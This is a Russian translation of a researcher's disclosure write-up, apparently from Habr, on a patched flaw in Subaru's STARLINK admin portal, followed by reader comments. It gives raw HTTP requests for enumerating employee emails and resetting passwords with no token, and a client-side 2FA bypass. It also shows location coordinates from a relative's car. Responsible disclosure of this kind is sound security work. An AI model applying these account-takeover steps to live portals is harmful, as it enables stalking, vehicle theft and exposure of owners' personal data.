Введение


20 ноября 2024 года я и Шубхам Шах обнаружили уязвимость безопасности в сервисе автомобиля Subaru, подключённого к STARLINK. Он предоставил нам неограниченный целевой доступ ко всем автомобилям и аккаунтам пользователей в США, Канаде и Японии.

Благодаря доступу, полученному через эту уязвимость, нападающий, зная лишь фамилию и почтовый индекс жертвы, почтовый адрес, номер телефона или номерной знак, мог выполнять следующие действия:

  • Дистанционно запускать и глушить двигатель, выполнять блокировку и разблокировку, получать текущее местоположение любого автомобиля.
  • Получать полную историю местонахождения любого автомобиля за последний год с точностью до пяти метров, обновляемую при запуске двигателя.
  • Запрашивать и получать личную информацию (personally identifiable information, PII) любого покупателя, в том числе контакты для экстренной связи, авторизованных пользователей, физический адрес, платёжную информацию (например, последние четыре цифры кредитной карты) и PIN автомобиля.
  • Получать доступ к различным пользовательским данным, в том числе к истории звонков, сведениям о предыдущих владельцах, показаниям одометра, истории продаж и многому другому.

После отправки нами отчёта об уязвимости, подверженная уязвимости система была пропатчена в течение 24 часов и никогда не использовалась злонамеренно.

Proof of Concept


Перехватываем за десять секунд контроль за Subaru, зная только её номерной знак, и получаем от автомобиля историю местонахождения за несколько лет

Карта с 1,6 тысячи утёкших координат Subaru Impreza 2023 года; похожие данные можно было получить для любой Subaru с подключением к Интернету

Описание уязвимости


Чуть больше года назад я купил маме Subaru Impreza 2023 года в обмен на обещание, что она позволит позаимствовать её и попробовать хакнуть. Последние несколько лет я занимался охотой на уязвимости у других автопроизводителей, но изучать Subaru мне пока не доводилось.

Приехав в конце года на День благодарения, я воспользовался возможностью и попросил у мамы логин к аккаунту, чтобы разобраться, получится ли из этого что-нибудь.

▍ Аудит мобильного приложения MySubaru


Первым делом я хотел протестировать приложение MySubaru. Это приложение позволяет пользователям отправлять команды автомобилю. Я создал для приложения прокси с помощью Burp Suite и начал перехватывать HTTP-запросы команд телематики, надеясь найти уязвимость, позволяющую разблокировать машины без авторизации.

Показанный ниже запрос был отправлен при разблокировке автомобиля через приложение:

POST /g2v30/service/g2/unlock/execute.json;jsessionid=AE6E4482F5C4493A79C8F3BD656F8BBA HTTP/1.1
Host: mobileapi.prod.subarucs.com
Content-Type: application/json
Connection: keep-alive
Accept: */*
User-Agent: MySubaru-PROD-SOA/2024110100 CFNetwork/1568.300.101 Darwin/24.2.0
Content-Length: 83
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br

{
  "delay": 0,
  "unlockDoorType": "ALL_DOORS_CMD",
  "vin": "4S3GTAV64P3701234",
  "pin": "1234"
}

Потерпев неудачу при попытке обхода авторизации команд автомобилю в приложении, я ещё немного исследовал приложение, но больше не нашёл ничего интересного для тестирования. Всё казалось надёжно защищённым. Конечных точек было не так много. Авторизация работала очень хорошо.

Возможно, тестирование приложения MySubaru было неправильным подходом?

По моему опыту работы с автопроизводителями я знал, что могут существовать публично доступные приложения для сотрудников с более широкими возможностями, чем у приложений для покупателей. Помня об этом, я решил перейти к охоте за другими веб-сайтами, связанными с Subaru.

▍ Находим панель администратора Subaru


Я спросил своего друга Шуба в Discord, будет ли ему интересно поискать со мной потенциальные приложения для сотрудников Subaru. Он с радостью согласился, и почти сразу же отправил мне такое сообщение:

shubs — 11/19/2024
ты уже видел этот хост?
subarucs.com

Он заметил, что домен my.subaru.com (используемый приложением) являлся CNAME для mys.prod.subarucs.com (домена, который я ещё не видел).

nslookup my.subaru.com
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
my.subaru.com   canonical name = www.mysubaru.com.
www.mysubaru.com        canonical name = mys.prod.subarucs.com.
Name:   mys.prod.subarucs.com

Мы провели сканирование, чтобы найти другие поддомены, и проверили результаты:

…
STARLINK® Admin Portal - https://portal.prod.subarucs.com/login.html
…

Это определённо походит на функции для сотрудников. Быстренько погуглив, я узнал, что STARLINK — это название используемой в автомобилях Subaru информационно-развлекательной системы, обеспечивающей все функции дистанционного управления. Похоже, мы нашли связанную с этой системой панель администратора.

Панель администратора Subaru STARLINK.

▍ Захват произвольного аккаунта в администраторском портале Subaru STARLINK


На первый взгляд казалось, что особо тут ничего не добьёшься. Это была просто панель логина, а учётных данных мы не знали. Я просмотрел исходники веб-сайта, надеясь найти чуть больше, и наткнулся на следующий фрагмент:

<script type="text/javascript" src="/assets/_js/starlinkEnroll.js"></script>

В папке /assets/_js/ хранились интересные файлы JavaScript, загружавшиеся на странице логина, поэтому я исследовал папку брутфорсом, надеясь найти другие файлы JavaScript.

Спустя несколько минут работы FFuF мы обнаружили файл login.js, в котором нашёлся очень интересный фрагмент кода:

$('#new_password_submit').on('click', function(e) {
	e.preventDefault();
	if($('#forgot-password-step4-form').valid()) {
		disableBtns();
		$.ajax({
            url: "/forgotPassword/resetPassword.json",
			type: "POST",
            contentType: "application/json",
            data: JSON.stringify({
                email: email,
                password: $('#new_password').val(),
                passwordConfirmation: $('#confirm_new_password').val()
            }),
			async: false
		}).done(function (response) {

Похоже было, что существует конечная точка resetPassword.json, выполняющая сброс аккаунтов сотрудников без токена подтверждения!

Если это работало так, как было написано на JavaScript, то нападающий мог просто ввести любой работающий почтовый адрес сотрудника и захватить его аккаунт. Я отправил следующий POST-запрос, чтобы убедиться в наличии доступа к этой функциональности:

HTTP-запрос

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "random@random.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP-ответ

HTTP/1.1 200
Content-type: application/json
Content-length: 7

“error”

Похоже было, что она работает, нам лишь нужно найти почтовый адрес сотрудника для проверки. Так как приложение было довольно большим, у него, вероятно, было множество разных пользователей, так что нам нужно было как-то составить их список. Я исследовал остальную часть кода на JS в поисках конечной точки, которая позволила бы составить список почтовых адресов, и заметил следующее:

HTTP-запрос

GET /adminProfile/getSecurityQuestion.json?email=example@example.com HTTP/1.1
Host: portal.prod.subarucs.com

HTTP-ответ

HTTP/1.1 200
Content-type: application/json
Content-length: 7

{
  "error": "Invalid email"
}

Показанная выше конечная точка возвращала контрольный вопрос пользователя, если почтовый адрес был валидным. Мы могли использовать её для составления списка аккаунтов пользователей, пока не найдём того, кто активен на этой платформе.

▍ Составление списка почтовых адресов сотрудников


Я выполнил в LinkedIn поиск по запросу Subaru STARLINK и обнаружил несколько сотрудников, которые, похоже, были разработчиками ПО. Узнав их имена, мы загуглили их и выяснили, что почтовые адреса Subaru имеют следующий формат:

[инициал_имени][фамилия]@subaru.com

Мы составили несколько почтовых адресов и передали их конечной точке getSecurityQuestion.json. На четвёртой попытке мы получили ответ!

<label for="securityQuestionId">
  <span class="securityQuestionText">What city were you born in?</span>
</label>

Почтовый адрес jdoe@subaru.com (имя изменено) оказался валидным! Мы отправили его в конечную точку сброса пароля.

HTTP-запрос

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "jdoe@subaru.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP-ответ

HTTP/1.1 200
Date: Wed, 20 Nov 2024 03:02:31 GMT
Content-Type: application/json
Connection: close
X-Frame-Options: SAMEORIGIN
Content-Length: 9

"success"

Сработало! Мы попробовали выполнить вход.


Мы успешно захватили аккаунт сотрудника, но далее появился запрос двухфакторной аутентификации для работы с веб-сайтом. Аутентификация была специализированной, поэтому мы решили поискать способы как-то её обойти.

▍ Обходим 2FA


Мы попробовали самое простое, что смогли придумать: убрали из UI клиентский оверлей.

Строка

$('#securityQuestionModal').modal('show');

Замена

//$('#securityQuestionModal').modal('show');

После удаления оверлея на стороне клиента мы попробовали выполнять разные действия. Казалось, что приложение работает без проблем. Работали все кнопки и приложение возвращало данные со стороны сервера.

Мы обошли 2FA

▍ Следим за перемещениями мамы в течение последнего года


В левой панели имелось множество разных функций, но самой интересной мне показалось «Последнее известное местоположение». Я ввёл фамилию моей мамы и почтовый индекс. В результатах поиска появился её автомобиль. Я нажал на него и увидел все места, куда моя мама ездила за последний год:

Date Odometer Location
11/21/2024 6:18:56 PM 14472.6 41.30136,-96.161142
11/21/2024 4:59:51 AM 14472.6 41.301402,-96.161134
11/21/2024 4:49:02 AM 14472.6 41.301286,-96.161145
11/02/2023 1:44:24 PM 6440.6 41.256003,-96.080627
11/01/2023 9:52:47 PM 6432.5 41.301248,-96.159951
11/01/2023 12:16:02 PM 6425.2 41.259397,-96.078775
В конечной точке «Last Known Location» хранилось не только последнее местоположение, но и точные координаты мест, где она запускала двигатель или использовала команды телематики в течение последнего года. Я не знал, что эти данные собираются, но, похоже, дал на согласие на регистрацию в STARLINK при покупке машины.

Чтобы лучше разобраться в данных, я экспортировал историю местонахождения Impreza моей мамы за год и импортировал её в iframe Google Maps. Показанная ниже карта — это слегка видоизменённый экспорт (некоторые личные данные удалены) всех посещённых ею мест.

▍ Визуализация истории местонахождения Subaru за год


Карта с 1,6 тысячи утёкших координат Subaru Impreza 2023 года; похожие данные можно получить для любой Subaru с подключением к Интернету

Наша история соглашения на покупку STARLINK, доступ к которой есть из панели администратора.

Существует куча других конечных точек. Одной из них оказался поиск автомобилей, позволяющий выполнять запросы по фамилии покупателя и почтовому индексу, номеру телефона, почтовому адресу и номеру VIN (который можно получить по номерному знаку), чтобы получить/модифицировать доступ к автомобилю.

Получение адреса, номера телефона, контактов для экстренной связи, авторизованных пользователей и платёжной информации по любому покупателю Subaru STARLINK.

Функция поиска STARLINK, позволяющая выполнять поиск по почтовому индексу и фамилии, VIN, почтовому адресу и номеру телефона.

▍ Разблокируем машину подруги


Поискав в дэшборде мою машину и найдя её, я убедился, что дэшборд администратора STARLINK предоставляет доступ к практически любой Subaru в США, Канаде и Японии. Мы хотели убедиться, что ничего не упускаем, поэтому связались с подругой и спросили, можно ли хакнуть её машину, чтобы продемонстрировать, что для полного захвата автомобиля не требуется никаких дополнительных требований или функций.

Она отправила нам свой регистрационный номер своей машины, мы ввели его в панель администратора и добавили себя в пользователи.

Добавляемся как авторизованные пользователи Subaru нашей подруги, чтобы показать, что сможем выполнять команды с её машиной.

Мы подождали несколько минут и потом увидели, что наш аккаунт успешно создан.


Получив доступ, я спросил её, может ли она выглянуть в окно и проверить, происходит ли что-нибудь с её автомобилем. Я отправил команду «разблокировать». Она прислала нам это видео.

Успех!

Потом она подтвердила, что не получала никаких уведомлений, текстовых сообщений или писем, когда мы добавились в качестве авторизованных пользователей и разблокировали её машину.

Хронология


  • 20 ноября 2024 23:54 CST: отчёт отправлен на почтовый адрес SecOps.
  • 21 ноября 2024 7:40 CST: получен ответ от команды Subaru.
  • 21 ноября 2024 16:00 CST: уязвимость устранена, воспроизведение невозможно.
  • 23 января 2025 6:00 CST: опубликован пост в блоге.

Дополнение


При написании поста мне очень сложно было составлять ещё один пост о взломе автомобилей. Большинство читателей моего блога работают в сфере безопасности, поэтому не думаю, что методики сброса пароля или обхода 2FA для них новы. Мне казалось, что самое важная информация — это влияние самого бага и внутренняя работа подключённых к Интернету автомобильных систем.

Автомобильная индустрия не рассказывает нам, что 18-летний сотрудник из Техаса может запрашивать платёжную информацию о машине в Калифорнии и что это не приведёт ни к каким аварийным уведомлениям. Это часть его повседневной работы. Все сотрудники имеют доступ к куче личной информации, а вся система построена на доверии.

Похоже, очень сложно обезопасить такие системы, если в них по умолчанию встроен такой широкий доступ.

Благодарности


Выражаю огромную благодарность людям, помогавшим в написании и вычитке этого поста:


Telegram-канал со скидками, розыгрышами призов и новостями IT ?

Комментарии (23)


  1. jhoag
    03.02.2025 13:18

    1. ru_vds Автор
      03.02.2025 13:18

      Добрый день! Это не дубль, а перевод оригинальной статьи, на которую ссылаются в новости по вашей ссылке. Наш перевод интересен в первую очередь подробностями.


  1. koreychenko
    03.02.2025 13:18

    Т.е. там было настолько дыряво, что можно было отправить запрос на смену пароля зная только email сотрудника? Во всех нормальных системах тебе на указанную почту приходит ссылка на восстановления с токеном.


    1. xelozz
      03.02.2025 13:18

      Дак еще и этап двухфакторной аутентификации оказался просто слоем над страницей, пропустить которой возможно было закомментив js, который рисовал гомеопатическую форму.


      1. mclander
        03.02.2025 13:18

        -- А бэкенд готов?
        -- Не-а, у нас там срочный баг с запуском двигателя, а потом нужно ещё для твоих табличек иконки добавить в датасет... А с четверга я в отпуск...
        -- Слушай, ну хоть заглушку сделай на метод, пусть всегда 200 возвращает. Я её буду дергать при 2FA, а потом как ты код докинешь, всё волшебным образом заработает.
        -- Ну ок, щас баг доправлю, заодно тебе метод закачу. После отпуска мне напомни только...
        -- Огонь! Не волнуйся, напомню.


    1. wepp
      03.02.2025 13:18

      А сам факт того, что сотрудники компании могут получить доступ к управлению авто клиентов? Можно попытаться логически это объяснить, но в целом - странная история.


      1. acc0unt
        03.02.2025 13:18

        А разгадка проста: пытаться во внутренних корпоративных софтинах что-то "логически объяснять" - это фундаментально тупиковый подход.

        Не было там логики и не будет. ПО такого типа растёт очень органически. Если повезёт, то как куст. Если не повезёт, то как опухоль.


      1. Xius
        03.02.2025 13:18

        Те хоть по недосмотру. А Фольксваген собирал телеметрию, местоположение машин клиентов с точностью до сантиметра. И даже взламывать не пришлось, всё само утекло...

        Нахождение такой информации в (почти) публичном доступе не порадует ни одного владельца автомобиля Volkswagen Group, но в издании Spiegel приводят уж совсем неприятные примеры. Это и данные о перемещении полицейских автомобилей, и точная информация о путешествиях немецких политиков. Интересно, что геолокация в базе хранилась отдельно от персональных данных, но во многих случаях было возможным сопоставление разных баз в утечке так, чтобы привязать лог перемещений к конкретному пользователю — по данным, которые сам пользователь ввел в приложении для работы с автомобилем.


  1. anonymous
    03.02.2025 13:18


  1. anonymous
    03.02.2025 13:18


  1. ifap
    03.02.2025 13:18

    Возможно, PoC стоило послать не в Субару, а их покупателям: интересно, какой ураган поднялся бы, получил тысячи автовладельцев копию всей информации о себе, включая логи звонков, нажитой непосильным трудом автопроизводителя...


    1. Wolframium13
      03.02.2025 13:18

      Зачем? Ради шума?


      1. ifap
        03.02.2025 13:18

        Да, ради шума. Потому что пока эта инфа проходит по профессиональным сайтам, реакция: ну, моледец Субару, быстро отреагировали на инцидент. А если об этом напишет условный NYT на первой полосе, Субару и другие автопроизводители будут более лучше стараться не допускать такие инциценты.


  1. anonymous
    03.02.2025 13:18


  1. Dark_Purple
    03.02.2025 13:18

    Я правильно понял что starlink это не тот старлинк который в космосе?


  1. chnav
    03.02.2025 13:18

    За что боролись, на то и напоролись.


  1. Ninil
    03.02.2025 13:18

    Вот создают же проблему на пустом месте (я про автопроизводителей):

    • зачем вообще авто подключать к интернету? Не подключения к интернету - нет большинства проблем.

    • ок, захотели порадовать зумеров очередным бесполезным приложением в телефоне. Ну так физически разделите два "контура" упраления в авто: один - оффлайноый (как на всех нормальных авто без доступа в интернет), а второй - для взаимодействия с интернетом. Общение двух "компьютеров" - исключительно по ограниченному и защищенному API и только в рамках дозволенного по принципу "что не разрешено, то запрещено".


    1. Wolframium13
      03.02.2025 13:18

      Что бы приглашать на ТО, как минимум, как максимум собирать информацию и использовать в своих проектах или продавать.


      1. Ninil
        03.02.2025 13:18

        Ну так это можно и без подключения к интернету делать. Пиши логи на внутренний оффлановый носитель, во время планового ТО скачивай эту информацию (что официал, что неофициал скорее всего все равно использует какое-то фирменное диагностическое ПО). Напоминание о ТО как-то работало десятилетия и без интернета (да и в Европе например большинство более-менее свежих машин и так обслуживается у официалов)...
        В общем я про то, что ту же задачу можно было бы решить с меньшими рисками без ощутимой потери результата.


        1. Wolframium13
          03.02.2025 13:18

          Ну риски посчитали несущественными на фоне возможности получать сведения 24/7.


    1. sintech
      03.02.2025 13:18

      Ставят же люди сигналки с дистанционным заводом двигателя попутно нейтрализуя встроенный иммобилайзер автомобиля. Все ради удобства, о безопасности думают в последнюю очередь.


      1. Ninil
        03.02.2025 13:18

        Ну про людей - ожидаемо. Но от автопроизводителя такого не ждешь.